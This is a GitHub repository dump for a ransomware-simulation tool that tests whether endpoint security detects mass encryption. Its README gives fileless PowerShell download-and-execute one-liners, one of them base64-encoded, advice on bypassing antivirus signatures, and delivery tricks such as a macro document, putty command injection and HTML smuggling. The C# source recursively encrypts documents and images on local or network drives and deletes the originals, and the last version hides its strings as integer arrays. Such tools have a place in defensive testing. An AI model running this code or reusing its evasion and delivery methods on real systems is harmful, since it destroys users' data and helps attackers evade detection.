-------------------------------------------------------------------------------- /Image/screen41.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen41.gif -------------------------------------------------------------------------------- /Image/screen43.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen43.gif -------------------------------------------------------------------------------- /Image/screen55.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen55.gif -------------------------------------------------------------------------------- /Image/screen56.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen56.gif -------------------------------------------------------------------------------- /Image/screen8.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen8.gif -------------------------------------------------------------------------------- /Image/screen8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen8.png -------------------------------------------------------------------------------- /Image/summary.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/summary.png -------------------------------------------------------------------------------- /Image/summary2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/summary2.png -------------------------------------------------------------------------------- /NaughtyDelTestv4.1.xls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/NaughtyDelTestv4.1.xls -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | :pushpin: :pushpin: :pushpin: Since most of binary files are being blocked by antivirus signature from time to time, please copy and paste the PowerShell code to terminal, this way can bypass antivirus signature and simulate the real ransomware behaviour :pushpin: :pushpin: :pushpin: 2 | 3 | ![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/powershell1.gif) 4 | 5 | 6 | # Really can protect from ransomware encryption? 7 | 8 | We often come across antivirus and next-generation endpoint solutions that claim to offer ransomware protection, boasting advanced capabilities in detecting activities such as penetration, invasion, and pre-encryption through the use of AI and machine learning. However, these solutions may still fail to prevent the encryption process if they happen to miss detecting these malicious activities. 9 | 10 | To address this concern, we have developed a simple tool that simulates the ransomware encryption process. This tool can help you determine whether your EDR (Endpoint Detection and Response) or antivirus software is capable of blocking such malware encryption behaviors. 11 | 12 | 13 | [![Watch the video](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/mr.bean2.gif)](https://youtu.be/CQIq8GDtDG0) 14 | 15 | **Stop encryption is the last defense, which cannot be neglected.** 16 | 17 | 18 | # Which brand can detect encryption operation? 19 | 20 | That's why I developed this tool. It is not to replicate found malware, not vendor test tool, no bias, no need to install, just do **encrypt (in memory) - overwrite (original file) - rename (file extension)**, simulate the core operation of ransomware. 21 | 22 | It is safe enough to run it on your working PC and server, let you see the fact in your environment. 23 | 24 | I have helped people to test this after WannaCry outbreak. Luckly, I found few brands can detect it, and one of them can stop ransomware encryption initiated from remote PC via file share and RDP as well. I did see a real Ransomware incident, that endpoint really could stop encryption, no loss. 25 | 26 | You can refer to the source code if you know programming or you can download the complied files. 27 | 28 | Hope there is no more ransomware incident! Please share this blog with friends if you found it is useful. 29 | 30 | 31 | # This tool 32 | 33 | 34 | ![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/EncryptDelTestv4.1b.gif) 35 | 36 | 37 | 38 | This tool encrypts - overwrite - rename the files in the selected (local or network) folder and subfolder, you may create a temporary folder like C:\Encrypt-Delete-Test\, save this tool to there, then run it. Be safe. 39 | 40 | It tests if your endpoint can detect when encryption is happening (like base on the files change pattern), but NOT to test if your endpoint can prevent it from start. 41 | 42 | It is great if you can share your test result with me for my record. 43 | 44 | 45 | ![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/summary2.png) 46 | 47 | 48 | EncryptDelTestv4_1.jar 49 | - runs on Windows and Mac OS 50 | - requires at least Java 8, http://www.java.com 51 | (usually java.exe or javaw.exe is a trusted software, it is more difficult for endpoint to detect) 52 | 53 | 54 | EncryptDelTestv4.1.exe / NaughtyDelTestv4.1.exe + NaughtyDelTestv4.1.dll 55 | - runs on Windows 56 | - requires at least .NET Framework 4.0 57 | 58 | 59 | EncryptDelTestv4.1.ps1 60 | - runs on Windows 61 | - requires PowerShell 62 | 63 | 64 | Fileless 65 | - (download and run in memory directly) 66 | - powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/EncryptDelTestv4.1.ps1.txt')" 67 | - powershell.exe -exec Bypass -noexit -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AZQBkAGQAaQBlAGMAaAB1AC8ARQBuAGMAcgB5AHAAdAAtAEQAZQBsAGUAdABlAC0AVABlAHMAdAAvAG0AYQBpAG4ALwBFAG4AYwByAHkAcAB0AEQAZQBsAFQAZQBzAHQAdgA0AC4AMQAuAHAAcwAxAC4AdAB4AHQAJwApAA== 68 | 69 | 70 | EncryptDelTestv4.1.dll 71 | - rundll32.exe EncryptDelTestv4.1.dll,Encrypt 72 | - rundll32.exe EncryptDelTestv4.1.dll,Decrypt 73 | 74 | 75 | NaughtyDelTestv4.1.xls (may be blocked by anti-virus) 76 | - hide in Word Document 77 | 78 | 79 | putty_naughty.exe (may be blocked by anti-virus) 80 | - inject command in putty.exe 81 | 82 | 83 | EncryptDelTestv4.1.html 84 | - HTML smuggling to encode and embedded payload 85 | - alternative download https://securitylab.pages.dev/EncryptDelTestv4.1 86 | 87 | 88 | :pushpin: :pushpin: :pushpin: Since most of binary files are being blocked by antivirus signature from time to time, please copy and paste the PowerShell code to terminal, this way can bypass antivirus signature and simulate the real ransomware behaviour :pushpin: :pushpin: :pushpin: 89 | 90 | 91 | | EncryptDelTestv4_1.jar | EncryptDelTestv4.1.exe | EncryptDelTestv4.1.ps1 | 92 | |---------------|---------------|---------------| 93 | |![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen41.gif)|![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen40.gif)|![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen43.gif)| 94 | 95 | 96 | # How it works 97 | 98 | ###### EncryptDelTestv4.1.ps1 (local drive) 99 | 100 | | CANNOT detect | CAN detect | 101 | |---------------|---------------| 102 | |![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen43.gif)|![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen55.gif)| 103 | | The tool encrypts all files, a red page is shown and all files are encrypted | The encryption operatoin is blocked, no red page is shown, few files are encrypted, but they are being restored | 104 | 105 | 106 | # 107 | 108 | ###### EncryptDelTestv4.1.ps1 (remote attack) 109 | 110 | | CAN detect | 111 | |---------------| 112 | |![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/screen56.gif)| 113 | ![alt text](https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/main/Image/endpoint3.gif) 114 | |The tool tries to encrypt files in network drive (N:\), the server the encryption operaton from remote, few files are encrypted, but they are being restored| 115 | 116 | 117 | 118 | 119 | Archived https://github.com/eddiechu-zz/Encrypt-Delete-Test 120 | 121 | 122 | 123 | 124 | 125 | 126 | # 127 | 128 | ransomware test tool 129 | ransomware simulation 130 | ransomware simulator 131 | ransomware assessment 132 | eddie chu 133 | eddiechu.android@gmail.com 134 | anti-ransomware 135 | antivirus test 136 | anti-virus test 137 | endpoint test 138 | infosec 139 | security 140 | cyber security 141 | cybersecurity 142 | incident response 143 | hacker 144 | antimalware 145 | anti-malware 146 | encryption 147 | encrypt-del-test 148 | encrypt-delete-test 149 | encryptdeltest 150 | encrypt overwrite rename 151 | tool 152 | test tool 153 | defense 154 | testing 155 | pentest 156 | penetration test 157 | blue team 158 | red team 159 | poc 160 | ciso 161 | -------------------------------------------------------------------------------- /Source/C#/Program.cs.210807: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.IO; 7 | using System.Security; 8 | using System.Security.Cryptography; 9 | using System.Runtime.InteropServices; 10 | using System.Collections; 11 | using System.Diagnostics; 12 | using System.Security.AccessControl; 13 | using System.Globalization; 14 | using System.Text.RegularExpressions; 15 | 16 | namespace EncryptDelTestv3 17 | { 18 | public static class GlobalVar 19 | { 20 | public static string sSecretKey = ""; 21 | public static string myargs = ""; 22 | public static string choose = ""; 23 | public static int encryptedcount = 0; 24 | } 25 | 26 | class Program 27 | { 28 | static void Main(string[] args) 29 | { 30 | Console.WriteLine("[Encrypt Delete Test v3]"); 31 | Console.WriteLine("Simulate ransomware encryption operation"); 32 | Console.WriteLine("By Eddie Chu eddiechu.android@gmail.com"); 33 | Console.WriteLine("Version v3.0.3 (7/Aug/2021)"); 34 | Console.WriteLine(""); 35 | Console.WriteLine("This tool encrypt the file, with the extension of *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png, under current folder and it's subfolder(s))"); 36 | Console.WriteLine(""); 37 | Console.WriteLine("[Caution]"); 38 | Console.WriteLine("You use this tool completely at your own risk."); 39 | Console.WriteLine(""); 40 | do 41 | { 42 | Console.WriteLine("[Options]"); 43 | Console.WriteLine(">confirm Encrypt current folder (test this computer)"); 44 | Console.WriteLine(">confirm \"N:\\Folder\" Encrypt network share (test file server)"); 45 | Console.WriteLine("Please type the option: >"); 46 | GlobalVar.choose = Console.ReadLine(); 47 | } while (!GlobalVar.choose.StartsWith("confirm")); 48 | 49 | Console.WriteLine(""); 50 | String specifiedpath; 51 | specifiedpath = ""; 52 | if (GlobalVar.choose.StartsWith("confirm")) 53 | { 54 | var collection = Regex.Matches(GlobalVar.choose, "\".*?\""); 55 | foreach (var item in collection) 56 | { 57 | specifiedpath = item.ToString().Trim('"'); 58 | Console.WriteLine("Specified Path is " + specifiedpath); 59 | } 60 | GlobalVar.choose = "1"; 61 | } 62 | 63 | GlobalVar.sSecretKey = GenerateKey(); 64 | GlobalVar.sSecretKey = "enckey98"; 65 | GCHandle gch = GCHandle.Alloc(GlobalVar.sSecretKey, GCHandleType.Pinned); 66 | 67 | string path; 68 | if (string.IsNullOrEmpty(specifiedpath)) 69 | { 70 | path = @System.IO.Directory.GetCurrentDirectory(); 71 | } 72 | else 73 | { 74 | path = specifiedpath; 75 | } 76 | if (File.Exists(path)) 77 | { 78 | ProcessFile(path); 79 | } 80 | else if (Directory.Exists(path)) 81 | { 82 | ProcessDirectory(path); 83 | } 84 | else 85 | { 86 | Console.WriteLine("{0} is not a valid file or directory.", path); 87 | } 88 | 89 | String encryptionkey; 90 | encryptionkey = GlobalVar.sSecretKey + " "; 91 | ZeroMemory(gch.AddrOfPinnedObject(), GlobalVar.sSecretKey.Length * 2); 92 | gch.Free(); 93 | 94 | if (GlobalVar.encryptedcount > 0) 95 | { 96 | using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"popup.html")) 97 | { 98 | file.WriteLine(""); 99 | file.WriteLine(""); 100 | file.WriteLine("EncryptDelTestv3"); 101 | 102 | file.WriteLine(""); 103 | file.WriteLine("[EncryptDelTestv3]



"); 104 | file.WriteLine("Your anti-virus software CANNOT detect this test

"); 105 | file.WriteLine("
"); 106 | file.WriteLine("
"); 107 | file.WriteLine("
Encryption Key: " + encryptionkey); 108 | file.WriteLine("
Encrypted File: " + GlobalVar.encryptedcount); 109 | file.WriteLine("
Path: " + path); 110 | file.WriteLine("
" + DateTime.Now); 111 | file.WriteLine("
"); 112 | file.WriteLine(""); 113 | file.WriteLine(""); 114 | } 115 | Process.Start(@"popup.html"); 116 | Console.WriteLine(""); 117 | Console.WriteLine(""); 118 | Console.WriteLine("Encryption Key: " + encryptionkey); 119 | Console.WriteLine("Encrypted File: " + GlobalVar.encryptedcount); 120 | Console.WriteLine("Your anti-virus software CANNOT detect this test"); 121 | } 122 | else 123 | { 124 | Console.WriteLine("No file is found or encrypted"); 125 | } 126 | Console.WriteLine(""); 127 | Console.WriteLine("Press any key to continue . . ."); 128 | Console.ReadKey(); 129 | } 130 | 131 | [System.Runtime.InteropServices.DllImport("KERNEL32.DLL", EntryPoint = "RtlZeroMemory")] 132 | public static extern bool ZeroMemory(IntPtr Destination, int Length); 133 | 134 | static string GenerateKey() 135 | { 136 | DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); 137 | return ASCIIEncoding.ASCII.GetString(desCrypto.Key); 138 | } 139 | 140 | static void EncryptFileDES(string sInputFilename, 141 | string sOutputFilename, 142 | string sKey) 143 | { 144 | FileStream fsInput = new FileStream(sInputFilename, 145 | FileMode.Open, 146 | FileAccess.Read); 147 | 148 | FileStream fsEncrypted = new FileStream(sOutputFilename, 149 | FileMode.Create, 150 | FileAccess.Write); 151 | DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); 152 | DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey); 153 | DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey); 154 | ICryptoTransform desencrypt = DES.CreateEncryptor(); 155 | CryptoStream cryptostream = new CryptoStream(fsEncrypted, 156 | desencrypt, 157 | CryptoStreamMode.Write); 158 | 159 | byte[] bytearrayinput = new byte[fsInput.Length]; 160 | fsInput.Read(bytearrayinput, 0, bytearrayinput.Length); 161 | cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length); 162 | cryptostream.Close(); 163 | fsInput.Close(); 164 | fsEncrypted.Close(); 165 | GlobalVar.encryptedcount = GlobalVar.encryptedcount + 1; 166 | } 167 | 168 | public static void ProcessDirectory(string targetDirectory) 169 | { 170 | String supportedfileextensions; 171 | supportedfileextensions = "*.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png"; 172 | string[] fileEntries = Directory.GetFiles(targetDirectory); 173 | foreach (string fileName in fileEntries) 174 | { 175 | if (supportedfileextensions.Contains(Path.GetExtension(fileName))) 176 | { 177 | ProcessFile(fileName); 178 | } 179 | } 180 | 181 | // Recurse into subdirectories of this directory. 182 | string[] subdirectoryEntries = Directory.GetDirectories(targetDirectory); 183 | foreach (string subdirectory in subdirectoryEntries) 184 | ProcessDirectory(subdirectory); 185 | } 186 | 187 | public static void ProcessFile(string path) 188 | { 189 | Console.WriteLine(""); 190 | Console.WriteLine("Encrypt to '{0}'", path + ".encrypted"); 191 | 192 | string newfileext; 193 | 194 | newfileext = ".encrypted"; 195 | EncryptFileDES(@path, @path + newfileext, GlobalVar.sSecretKey); 196 | 197 | Console.WriteLine("Delete '{0}'", path); 198 | if (GlobalVar.choose == "1b" || GlobalVar.choose == "2b") 199 | { 200 | Console.WriteLine("Overwrite '{0}'", path); 201 | File.Copy(path + newfileext, path, true); 202 | File.Copy(path, path + newfileext, true); 203 | } 204 | File.Delete(path); 205 | Console.Write("'" + path + "' "); 206 | Console.WriteLine(File.Exists(path) ? "File exists." : "File does not exist."); 207 | } 208 | 209 | public static byte[] GenerateRandomSalt() 210 | { 211 | byte[] data = new byte[32]; 212 | 213 | using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 214 | { 215 | for (int i = 0; i < 10; i++) 216 | { 217 | rng.GetBytes(data); 218 | } 219 | } 220 | 221 | return data; 222 | } 223 | 224 | } 225 | } 226 | -------------------------------------------------------------------------------- /Source/C#/Program.cs.210814: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.IO; 7 | using System.Security; 8 | using System.Security.Cryptography; 9 | using System.Runtime.InteropServices; 10 | using System.Collections; 11 | using System.Diagnostics; 12 | using System.Security.AccessControl; 13 | using System.Globalization; 14 | using System.Text.RegularExpressions; 15 | 16 | namespace EncryptDelTestv3 17 | { 18 | public static class GlobalVar 19 | { 20 | public static string sSecretKey = ""; 21 | public static string myargs = ""; 22 | public static string choose = ""; 23 | public static int encryptedcount = 0; 24 | } 25 | 26 | class Program 27 | { 28 | static void Main(string[] args) 29 | { 30 | Console.WriteLine("[Encrypt Delete Test v3]"); 31 | Console.WriteLine("Simulate ransomware encryption operation"); 32 | Console.WriteLine("By Eddie Chu eddiechu.android@gmail.com"); 33 | Console.WriteLine("Please download the original and latest version from github.com/eddiechu/Encrypt-Delete-Test"); 34 | Console.WriteLine("Version v3.0.4 (14/Aug/2021)"); 35 | Console.WriteLine(""); 36 | Console.WriteLine("This tool encrypt the file, with the extension of *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png, under current folder and it's subfolder(s))"); 37 | Console.WriteLine(""); 38 | Console.WriteLine("[Caution]"); 39 | Console.WriteLine("You use this tool completely at your own risk."); 40 | Console.WriteLine(""); 41 | do 42 | { 43 | Console.WriteLine("[Options]"); 44 | Console.WriteLine(">confirm Encrypt current folder (test this computer)"); 45 | Console.WriteLine(">confirm \"N:\\Folder\" Encrypt network share (test file server)"); 46 | Console.WriteLine("Please type the option: >"); 47 | GlobalVar.choose = Console.ReadLine(); 48 | } while (!GlobalVar.choose.StartsWith("confirm")); 49 | 50 | Console.WriteLine(""); 51 | String specifiedpath; 52 | specifiedpath = ""; 53 | if (GlobalVar.choose.StartsWith("confirm")) 54 | { 55 | var collection = Regex.Matches(GlobalVar.choose, "\".*?\""); 56 | foreach (var item in collection) 57 | { 58 | specifiedpath = item.ToString().Trim('"'); 59 | Console.WriteLine("Specified Path is " + specifiedpath); 60 | } 61 | GlobalVar.choose = "1"; 62 | } 63 | 64 | GlobalVar.sSecretKey = GenerateKey(); 65 | GlobalVar.sSecretKey = "enckey98"; 66 | GCHandle gch = GCHandle.Alloc(GlobalVar.sSecretKey, GCHandleType.Pinned); 67 | 68 | string path; 69 | if (string.IsNullOrEmpty(specifiedpath)) 70 | { 71 | path = @System.IO.Directory.GetCurrentDirectory(); 72 | } 73 | else 74 | { 75 | path = specifiedpath; 76 | } 77 | if (File.Exists(path)) 78 | { 79 | ProcessFile(path); 80 | } 81 | else if (Directory.Exists(path)) 82 | { 83 | ProcessDirectory(path); 84 | } 85 | else 86 | { 87 | Console.WriteLine("{0} is not a valid file or directory.", path); 88 | } 89 | 90 | String encryptionkey; 91 | encryptionkey = GlobalVar.sSecretKey + " "; 92 | ZeroMemory(gch.AddrOfPinnedObject(), GlobalVar.sSecretKey.Length * 2); 93 | gch.Free(); 94 | 95 | if (GlobalVar.encryptedcount > 0) 96 | { 97 | using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"popup.html")) 98 | { 99 | file.WriteLine(""); 100 | file.WriteLine(""); 101 | file.WriteLine("EncryptDelTestv3"); 102 | 103 | file.WriteLine(""); 104 | file.WriteLine("[EncryptDelTestv3]



"); 105 | file.WriteLine("Your anti-virus software CANNOT detect this test

"); 106 | file.WriteLine("
"); 107 | file.WriteLine("
"); 108 | file.WriteLine("
Encryption Key: " + encryptionkey); 109 | file.WriteLine("
Encrypted File: " + GlobalVar.encryptedcount); 110 | file.WriteLine("
Path: " + path); 111 | file.WriteLine("
" + DateTime.Now); 112 | file.WriteLine("
"); 113 | file.WriteLine(""); 114 | file.WriteLine(""); 115 | } 116 | Process.Start(@"popup.html"); 117 | Console.WriteLine(""); 118 | Console.WriteLine(""); 119 | Console.WriteLine("Encryption Key: " + encryptionkey); 120 | Console.WriteLine("Encrypted File: " + GlobalVar.encryptedcount); 121 | Console.WriteLine("Your anti-virus software CANNOT detect this test"); 122 | } 123 | else 124 | { 125 | Console.WriteLine("No file is found or encrypted"); 126 | } 127 | Console.WriteLine(""); 128 | Console.WriteLine("Press any key to continue . . ."); 129 | Console.ReadKey(); 130 | } 131 | 132 | [System.Runtime.InteropServices.DllImport("KERNEL32.DLL", EntryPoint = "RtlZeroMemory")] 133 | public static extern bool ZeroMemory(IntPtr Destination, int Length); 134 | 135 | static string GenerateKey() 136 | { 137 | DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); 138 | return ASCIIEncoding.ASCII.GetString(desCrypto.Key); 139 | } 140 | 141 | static void EncryptFileDES(string sInputFilename, 142 | string sOutputFilename, 143 | string sKey) 144 | { 145 | FileStream fsInput = new FileStream(sInputFilename, 146 | FileMode.Open, 147 | FileAccess.Read); 148 | 149 | FileStream fsEncrypted = new FileStream(sOutputFilename, 150 | FileMode.Create, 151 | FileAccess.Write); 152 | DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); 153 | DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey); 154 | DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey); 155 | ICryptoTransform desencrypt = DES.CreateEncryptor(); 156 | CryptoStream cryptostream = new CryptoStream(fsEncrypted, 157 | desencrypt, 158 | CryptoStreamMode.Write); 159 | 160 | byte[] bytearrayinput = new byte[fsInput.Length]; 161 | fsInput.Read(bytearrayinput, 0, bytearrayinput.Length); 162 | cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length); 163 | cryptostream.Close(); 164 | fsInput.Close(); 165 | fsEncrypted.Close(); 166 | GlobalVar.encryptedcount = GlobalVar.encryptedcount + 1; 167 | } 168 | 169 | public static void ProcessDirectory(string targetDirectory) 170 | { 171 | String supportedfileextensions; 172 | supportedfileextensions = "*.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png"; 173 | string[] fileEntries = Directory.GetFiles(targetDirectory); 174 | foreach (string fileName in fileEntries) 175 | { 176 | if (supportedfileextensions.Contains(Path.GetExtension(fileName))) 177 | { 178 | ProcessFile(fileName); 179 | } 180 | } 181 | 182 | // Recurse into subdirectories of this directory. 183 | string[] subdirectoryEntries = Directory.GetDirectories(targetDirectory); 184 | foreach (string subdirectory in subdirectoryEntries) 185 | ProcessDirectory(subdirectory); 186 | } 187 | 188 | public static void ProcessFile(string path) 189 | { 190 | Console.WriteLine(""); 191 | Console.WriteLine("Encrypt to '{0}'", path + ".encrypted"); 192 | 193 | string newfileext; 194 | 195 | newfileext = ".encrypted"; 196 | EncryptFileDES(@path, @path + newfileext, GlobalVar.sSecretKey); 197 | 198 | Console.WriteLine("Delete '{0}'", path); 199 | if (GlobalVar.choose == "1b" || GlobalVar.choose == "2b") 200 | { 201 | Console.WriteLine("Overwrite '{0}'", path); 202 | File.Copy(path + newfileext, path, true); 203 | File.Copy(path, path + newfileext, true); 204 | } 205 | File.Delete(path); 206 | Console.Write("'" + path + "' "); 207 | Console.WriteLine(File.Exists(path) ? "File exists." : "File does not exist."); 208 | } 209 | 210 | public static byte[] GenerateRandomSalt() 211 | { 212 | byte[] data = new byte[32]; 213 | 214 | using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 215 | { 216 | for (int i = 0; i < 10; i++) 217 | { 218 | rng.GetBytes(data); 219 | } 220 | } 221 | 222 | return data; 223 | } 224 | 225 | } 226 | } 227 | -------------------------------------------------------------------------------- /Source/C#/Program.cs.210829: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.IO; 7 | using System.Security; 8 | using System.Security.Cryptography; 9 | using System.Runtime.InteropServices; 10 | using System.Collections; 11 | using System.Diagnostics; 12 | using System.Security.AccessControl; 13 | using System.Globalization; 14 | using System.Text.RegularExpressions; 15 | 16 | namespace EncryptDelTestv3 17 | { 18 | public static class GlobalVar 19 | { 20 | public static string sSecretKey = ""; 21 | public static string myargs = ""; 22 | public static string choose = ""; 23 | public static int encryptedcount = 0; 24 | } 25 | 26 | class Program 27 | { 28 | static void Main(string[] args) 29 | { 30 | int[] CharNum = { 91, 69, 110, 99, 114, 121, 112, 116, 32, 68, 101, 108, 101, 116, 101, 32, 84, 101, 115, 116, 32, 118, 51, 93 }; 31 | Console.WriteLine(NumtoString(CharNum)); 32 | CharNum = new int[] { 83, 105, 109, 117, 108, 97, 116, 101, 32, 114, 97, 110, 115, 111, 109, 119, 97, 114, 101, 32, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 111, 112, 101, 114, 97, 116, 105, 111, 110 }; 33 | Console.WriteLine(NumtoString(CharNum)); 34 | CharNum = new int[] { 66, 121, 32, 69, 100, 100, 105, 101, 32, 67, 104, 117, 32, 101, 100, 100, 105, 101, 99, 104, 117, 46, 97, 110, 100, 114, 111, 105, 100, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109 }; 35 | Console.WriteLine(NumtoString(CharNum)); 36 | CharNum = new int[] { 80, 108, 101, 97, 115, 101, 32, 100, 111, 119, 110, 108, 111, 97, 100, 32, 116, 104, 101, 32, 111, 114, 105, 103, 105, 110, 97, 108, 32, 97, 110, 100, 32, 108, 97, 116, 101, 115, 116, 32, 118, 101, 114, 115, 105, 111, 110, 32, 102, 114, 111, 109, 32, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 101, 100, 100, 105, 101, 99, 104, 117, 47, 69, 110, 99, 114, 121, 112, 116, 45, 68, 101, 108, 101, 116, 101, 45, 84, 101, 115, 116 }; 37 | Console.WriteLine(NumtoString(CharNum)); 38 | CharNum = new int[] { 86, 101, 114, 115, 105, 111, 110, 32, 118, 51, 46, 48, 46, 53, 32, 40, 50, 57, 47, 65, 117, 103, 47, 50, 48, 50, 49, 41 }; 39 | Console.WriteLine(NumtoString(CharNum)); 40 | Console.WriteLine(""); 41 | CharNum = new int[] { 84, 104, 105, 115, 32, 116, 111, 111, 108, 32, 101, 110, 99, 114, 121, 112, 116, 32, 116, 104, 101, 32, 102, 105, 108, 101, 32, 117, 110, 100, 101, 114, 32, 99, 117, 114, 114, 101, 110, 116, 32, 102, 111, 108, 100, 101, 114, 32, 97, 110, 100, 32, 105, 116, 39, 115, 32, 115, 117, 98, 102, 111, 108, 100, 101, 114, 40, 115, 41, 41 }; 42 | Console.WriteLine(NumtoString(CharNum)); 43 | Console.WriteLine(""); 44 | CharNum = new int[] { 91, 67, 97, 117, 116, 105, 111, 110, 93 }; 45 | Console.WriteLine(NumtoString(CharNum)); 46 | CharNum = new int[] { 89, 111, 117, 32, 117, 115, 101, 32, 116, 104, 105, 115, 32, 116, 111, 111, 108, 32, 99, 111, 109, 112, 108, 101, 116, 101, 108, 121, 32, 97, 116, 32, 121, 111, 117, 114, 32, 111, 119, 110, 32, 114, 105, 115, 107, 46 }; 47 | Console.WriteLine(NumtoString(CharNum)); 48 | Console.WriteLine(""); 49 | do 50 | { 51 | CharNum = new int[] { 91, 79, 112, 116, 105, 111, 110, 115, 93 }; 52 | Console.WriteLine(NumtoString(CharNum)); 53 | CharNum = new int[] { 62, 99, 111, 110, 102, 105, 114, 109, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 69, 110, 99, 114, 121, 112, 116, 32, 99, 117, 114, 114, 101, 110, 116, 32, 102, 111, 108, 100, 101, 114, 32, 40, 116, 101, 115, 116, 32, 116, 104, 105, 115, 32, 99, 111, 109, 112, 117, 116, 101, 114, 41 }; 54 | Console.WriteLine(NumtoString(CharNum)); 55 | CharNum = new int[] { 62, 99, 111, 110, 102, 105, 114, 109, 32, 34, 78, 58, 92, 70, 111, 108, 100, 101, 114, 34, 32, 32, 32, 32, 32, 69, 110, 99, 114, 121, 112, 116, 32, 110, 101, 116, 119, 111, 114, 107, 32, 115, 104, 97, 114, 101, 32, 40, 116, 101, 115, 116, 32, 102, 105, 108, 101, 32, 115, 101, 114, 118, 101, 114, 41 }; 56 | Console.WriteLine(NumtoString(CharNum)); 57 | CharNum = new int[] { 80, 108, 101, 97, 115, 101, 32, 116, 121, 112, 101, 32, 116, 104, 101, 32, 111, 112, 116, 105, 111, 110, 58, 32, 62 }; 58 | Console.WriteLine(NumtoString(CharNum)); 59 | GlobalVar.choose = Console.ReadLine(); 60 | CharNum = new int[] { 99, 111, 110, 102, 105, 114, 109 }; 61 | } while (!GlobalVar.choose.StartsWith(NumtoString(CharNum))); 62 | 63 | Console.WriteLine(""); 64 | String specifiedpath; 65 | specifiedpath = ""; 66 | if (GlobalVar.choose.StartsWith(NumtoString(CharNum))) 67 | { 68 | var collection = Regex.Matches(GlobalVar.choose, "\".*?\""); 69 | foreach (var item in collection) 70 | { 71 | specifiedpath = item.ToString().Trim('"'); 72 | Console.WriteLine("Specified Path is " + specifiedpath); 73 | } 74 | GlobalVar.choose = "1"; 75 | } 76 | 77 | GlobalVar.sSecretKey = GenerateKey(); 78 | 